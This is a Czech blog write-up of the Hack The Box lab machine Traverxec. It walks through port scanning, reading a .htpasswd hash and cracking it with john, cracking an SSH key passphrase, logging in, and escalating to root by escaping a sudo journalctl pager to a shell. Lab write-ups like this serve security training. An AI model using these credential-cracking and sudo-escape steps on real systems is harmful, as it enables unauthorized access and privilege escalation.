tom@home.htb:~$

Blog o HTB

27 January 2021

Traverxec

Úvod a kontext

Na Traverxec je nejzajímavější, jak se propojí SSH, Traverxec-htpasswd.txt a id_rsa.

Bez pochopení této návaznosti by nedával smysl ani SSH se získaným soukromým klíčem, ani závěrečná lokální enumeraci po získání shellu.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

nmap -p 1-65535 -T4 -A -sC -v $IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC

Vyhledání otevřených portů (2)

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

nmap -sU -T4 -v $IP

Analýza zjištění

Lámání hesel nebo hashů

Hash nebo zašifrovaný artefakt má smysl lámat jen tehdy, pokud může otevřít další službu, účet nebo vrstvu prostředí; právě to zde ověřuji.

cat /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
/usr/sbin/john Traverxec-htpasswd.txt --wordlist=/usr/share/wordlists/rockyou.txt
=> Nowonly4me

http://10.10.10.165/~david/protected-file-area/backup-ssh-identity-files.tgz

/usr/share/john/ssh2john.py Traverxec-ssh/id_rsa > Traverxec-ssh/id_rsa.john

/usr/sbin/john Traverxec-ssh/id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
=> hunter

Získání přístupu

Přihlášení na cíl

Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.

ssh -i Traverxec-ssh/id_rsa david@10.10.10.165

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

cat user.txt
__CENSORED__

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

změnšit okno aby výpis musel začít stránkovat
!/bin/sh

Eskalace oprávnění

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: ssh - sudo - exploit - enumeration - privesc - hackthebox